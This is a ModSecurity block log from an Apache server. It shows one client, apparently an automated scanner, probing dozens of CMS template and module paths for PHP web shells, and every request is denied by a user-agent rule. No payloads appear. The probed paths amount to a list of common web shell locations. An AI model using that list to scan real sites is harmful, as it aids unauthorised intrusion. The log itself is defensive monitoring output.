[Sat May 23 07:58:47.002695 2026] [:error] [pid 30942:tid 31026] [client 173.239.216.150:26537] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/protostar/error.php"] [unique_id "ahDtt9Uosz64YFiBlG3TjwAAAJc"]
[Sat May 23 07:58:48.549906 2026] [:error] [pid 31039:tid 31042] [client 173.239.216.150:23661] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/composer/cache.php"] [unique_id "ahDtuKIYDYo8WvA5zLJ9hQAAAME"]
[Sat May 23 07:58:49.418506 2026] [:error] [pid 31039:tid 31065] [client 173.239.216.150:63463] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/udd.php"] [unique_id "ahDtuaIYDYo8WvA5zLJ9iQAAANg"]
[Sat May 23 07:58:55.184881 2026] [:error] [pid 31039:tid 31059] [client 173.239.216.150:31447] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/content/apismtp/setting-api.php"] [unique_id "ahDtv6IYDYo8WvA5zLJ9mAAAANI"]
[Sat May 23 07:58:55.344672 2026] [:error] [pid 30942:tid 31007] [client 173.239.216.150:49507] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/mod_ariimageslidersa/mod_ariimageslidersa.php"] [unique_id "ahDtv9Uosz64YFiBlG3TlAAAAIQ"]
[Sat May 23 07:58:56.168476 2026] [:error] [pid 31039:tid 31043] [client 173.239.216.150:46871] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/index.php"] [unique_id "ahDtwKIYDYo8WvA5zLJ9mgAAAMI"]
[Sat May 23 07:58:56.993202 2026] [:error] [pid 30940:tid 30956] [client 173.239.216.150:54067] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Beez5/index.php"] [unique_id "ahDtwJqUP2XZmzp7RDqLzQAAAAc"]
[Sat May 23 07:58:58.850157 2026] [:error] [pid 25876:tid 25896] [client 173.239.216.150:53153] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Genius/error.php"] [unique_id "ahDtwgSpWUCKPezIBJCg9AAAARI"]
[Sat May 23 07:59:02.784809 2026] [:error] [pid 31039:tid 31043] [client 173.239.216.150:36929] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/administrator/templates/isis/index.php"] [unique_id "ahDtxqIYDYo8WvA5zLJ9rQAAAMI"]
[Sat May 23 07:59:03.612600 2026] [:error] [pid 30942:tid 31012] [client 173.239.216.150:46119] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/sendinblue/anamama.php"] [unique_id "ahDtx9Uosz64YFiBlG3TmQAAAIk"]
[Sat May 23 07:59:05.189504 2026] [:error] [pid 30942:tid 31006] [client 173.239.216.150:56321] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez5/error.php"] [unique_id "ahDtydUosz64YFiBlG3TnQAAAIM"]
[Sat May 23 07:59:06.761657 2026] [:error] [pid 31039:tid 31054] [client 173.239.216.150:42203] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/libraries/joomla/css.php"] [unique_id "ahDtyqIYDYo8WvA5zLJ9tQAAAM0"]
[Sat May 23 07:59:10.112585 2026] [:error] [pid 30940:tid 30957] [client 173.239.216.150:36351] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/isis/error.php"] [unique_id "ahDtzpqUP2XZmzp7RDqL2AAAAAg"]
[Sat May 23 07:59:12.480378 2026] [:error] [pid 31039:tid 31050] [client 173.239.216.150:30613] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/ja-helio-farsi/index.php"] [unique_id "ahDt0KIYDYo8WvA5zLJ9uwAAAMk"]
[Sat May 23 07:59:13.306564 2026] [:error] [pid 30941:tid 30985] [client 173.239.216.150:23073] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/JMart/error.php"] [unique_id "ahDt0XTIgjSDhiZmvlU0agAAAEk"]
[Sat May 23 07:59:14.136850 2026] [:error] [pid 31039:tid 31061] [client 173.239.216.150:62831] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/scrollbottom/anamama-2.php"] [unique_id "ahDt0qIYDYo8WvA5zLJ9xAAAANQ"]
[Sat May 23 07:59:15.725881 2026] [:error] [pid 31039:tid 31053] [client 173.239.216.150:59769] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez3/jsstrings.php"] [unique_id "ahDt06IYDYo8WvA5zLJ92wAAAMw"]
[Sat May 23 07:59:16.551824 2026] [:error] [pid 30941:tid 30983] [client 173.239.216.150:39661] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez3/index.php"] [unique_id "ahDt1HTIgjSDhiZmvlU0bAAAAEc"]
[Sat May 23 07:59:18.944766 2026] [:error] [pid 31039:tid 31058] [client 173.239.216.150:45185] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/daDTLv3YPn6.php"] [unique_id "ahDt1qIYDYo8WvA5zLJ96wAAANE"]
[Sat May 23 07:59:22.921862 2026] [:error] [pid 31039:tid 31046] [client 173.239.216.150:20219] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Binv/error.php"] [unique_id "ahDt2qIYDYo8WvA5zLJ98wAAAMU"]
[Sat May 23 07:59:23.750888 2026] [:error] [pid 25876:tid 25878] [client 173.239.216.150:26677] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/ja_purity/index.php"] [unique_id "ahDt2wSpWUCKPezIBJChFQAAAQA"]
[Sat May 23 07:59:29.592433 2026] [:error] [pid 31039:tid 31065] [client 173.239.216.150:29107] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/sites/all/themes/adminimal_theme/uqPfX5TiZbY.php"] [unique_id "ahDt4aIYDYo8WvA5zLJ9_wAAANg"]
[Sat May 23 07:59:31.676964 2026] [:error] [pid 30940:tid 30965] [client 173.239.216.150:61615] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/beez3/error.php"] [unique_id "ahDt45qUP2XZmzp7RDqL6wAAABA"]
[Sat May 23 07:59:36.129278 2026] [:error] [pid 25876:tid 25886] [client 173.239.216.150:58193] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/administrator/templates/isis/error.php"] [unique_id "ahDt6ASpWUCKPezIBJChMgAAAQg"]
[Sat May 23 07:59:40.745516 2026] [:error] [pid 30940:tid 30954] [client 173.239.216.150:50243] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "ahDt7JqUP2XZmzp7RDqL7wAAAAU"]
[Sat May 23 07:59:41.589559 2026] [:error] [pid 31039:tid 31054] [client 173.239.216.150:24327] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bk/index.php"] [unique_id "ahDt7aIYDYo8WvA5zLJ-EQAAAM0"]
[Sat May 23 07:59:42.430888 2026] [:error] [pid 31039:tid 31053] [client 173.239.216.150:35853] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Jollyany/error.php"] [unique_id "ahDt7qIYDYo8WvA5zLJ-EwAAAMw"]
[Sat May 23 07:59:45.029832 2026] [:error] [pid 30940:tid 30968] [client 173.239.216.150:53633] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Atomic/error.php"] [unique_id "ahDt8ZqUP2XZmzp7RDqL8gAAABM"]
[Sat May 23 07:59:45.761908 2026] [:error] [pid 25876:tid 25889] [client 173.239.216.150:37849] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Hoxa/index.php"] [unique_id "ahDt8QSpWUCKPezIBJChOAAAAQs"]
[Sat May 23 07:59:46.582124 2026] [:error] [pid 30941:tid 30998] [client 173.239.216.150:24783] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/administrator/templates/hathor/error.php"] [unique_id "ahDt8nTIgjSDhiZmvlU0gwAAAFY"]
[Sat May 23 07:59:47.401107 2026] [:error] [pid 30940:tid 30973] [client 173.239.216.150:28477] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/administrator/templates/hathor/index.php"] [unique_id "ahDt85qUP2XZmzp7RDqL9QAAABg"]
[Sat May 23 07:59:48.205616 2026] [:error] [pid 25876:tid 25893] [client 173.239.216.150:29485] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/administrator/templates/bluestork/error.php"] [unique_id "ahDt9ASpWUCKPezIBJChOgAAAQ8"]
[Sat May 23 07:59:49.011202 2026] [:error] [pid 25876:tid 25880] [client 173.239.216.150:65461] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/rhuk_solarflare_ii/index.php"] [unique_id "ahDt9QSpWUCKPezIBJChPQAAAQI"]
[Sat May 23 07:59:50.566034 2026] [:error] [pid 31039:tid 31057] [client 173.239.216.150:60405] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Aaika/index.php"] [unique_id "ahDt9qIYDYo8WvA5zLJ-FgAAANA"]
[Sat May 23 07:59:54.435437 2026] [:error] [pid 30942:tid 31011] [client 173.239.216.150:29675] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/RiverS/index.php"] [unique_id "ahDt-tUosz64YFiBlG3T1wAAAIg"]
[Sat May 23 07:59:55.279951 2026] [:error] [pid 30941:tid 30991] [client 173.239.216.150:26035] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/sites/default/files/index.php"] [unique_id "ahDt-3TIgjSDhiZmvlU0iwAAAE8"]
[Sat May 23 07:59:56.105191 2026] [:error] [pid 25876:tid 25884] [client 173.239.216.150:27973] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Protostar/index.php"] [unique_id "ahDt_ASpWUCKPezIBJChTAAAAQY"]
[Sat May 23 07:59:56.936441 2026] [:error] [pid 25876:tid 25885] [client 173.239.216.150:59289] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/mod_ju_articleslider/tmpl/admin.php"] [unique_id "ahDt_ASpWUCKPezIBJChTwAAAQc"]
[Sat May 23 07:59:57.779217 2026] [:error] [pid 25876:tid 25890] [client 173.239.216.150:43519] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/rhuk_solarflare_ii/error.php"] [unique_id "ahDt_QSpWUCKPezIBJChVAAAAQw"]
[Sat May 23 07:59:58.605447 2026] [:error] [pid 30941:tid 30999] [client 173.239.216.150:22351] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Globy/index.php"] [unique_id "ahDt_nTIgjSDhiZmvlU0jAAAAFc"]
[Sat May 23 07:59:59.430464 2026] [:error] [pid 31039:tid 31043] [client 173.239.216.150:60075] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/libraries/legacy/updates.php"] [unique_id "ahDt_6IYDYo8WvA5zLJ-GAAAAMI"]
[Sat May 23 08:00:01.793444 2026] [:error] [pid 31039:tid 31046] [client 173.239.216.150:56411] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Atum/error.php"] [unique_id "ahDuAaIYDYo8WvA5zLJ-HAAAAMU"]
[Sat May 23 08:00:03.520975 2026] [:error] [pid 31039:tid 31060] [client 173.239.216.150:54461] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/eicaptcha/tests/results/results.php"] [unique_id "ahDuA6IYDYo8WvA5zLJ-IQAAANM"]
[Sat May 23 08:00:04.358945 2026] [:error] [pid 25876:tid 25882] [client 173.239.216.150:31613] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/content/apismtp/simple.php"] [unique_id "ahDuBASpWUCKPezIBJChWAAAAQQ"]
[Sat May 23 08:00:10.238130 2026] [:error] [pid 25876:tid 25891] [client 173.239.216.150:41897] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/rhuk_milkyway/error.php"] [unique_id "ahDuCgSpWUCKPezIBJChZwAAAQ0"]
[Sat May 23 08:00:12.148810 2026] [:error] [pid 25876:tid 25883] [client 173.239.216.150:46523] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/mod%20ariimageslidersa/mod%20ariimageslidersa.php"] [unique_id "ahDuDASpWUCKPezIBJChdgAAAQU"]
[Sat May 23 08:00:12.388125 2026] [:error] [pid 25876:tid 25881] [client 173.239.216.150:56221] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/cassiopeia/error.php"] [unique_id "ahDuDASpWUCKPezIBJChewAAAQM"]
[Sat May 23 08:00:14.015799 2026] [:error] [pid 25876:tid 25888] [client 173.239.216.150:47011] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/JMart/index.php"] [unique_id "ahDuDgSpWUCKPezIBJChngAAAQo"]
[Sat May 23 08:00:14.851990 2026] [:error] [pid 25876:tid 25896] [client 173.239.216.150:40263] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/ja_purity/index.php"] [unique_id "ahDuDgSpWUCKPezIBJChpQAAARI"]
[Sat May 23 08:00:16.421845 2026] [:error] [pid 25876:tid 25897] [client 173.239.216.150:31159] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/modules/ets_whatsapp/new.php"] [unique_id "ahDuEASpWUCKPezIBJChzAAAARM"]
[Sat May 23 08:00:17.248902 2026] [:error] [pid 25876:tid 25878] [client 173.239.216.150:23993] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/content/apismtp/wp-domain.php"] [unique_id "ahDuEQSpWUCKPezIBJCh0QAAAQA"]
[Sat May 23 08:00:18.088804 2026] [:error] [pid 25876:tid 25900] [client 173.239.216.150:59687] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/log.php"] [unique_id "ahDuEgSpWUCKPezIBJCh0wAAARY"]
[Sat May 23 08:00:23.494994 2026] [:error] [pid 25876:tid 25887] [client 173.239.216.150:21005] [client 173.239.216.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/templates/Raees/index.php"] [unique_id "ahDuFwSpWUCKPezIBJCh5AAAAQk"]
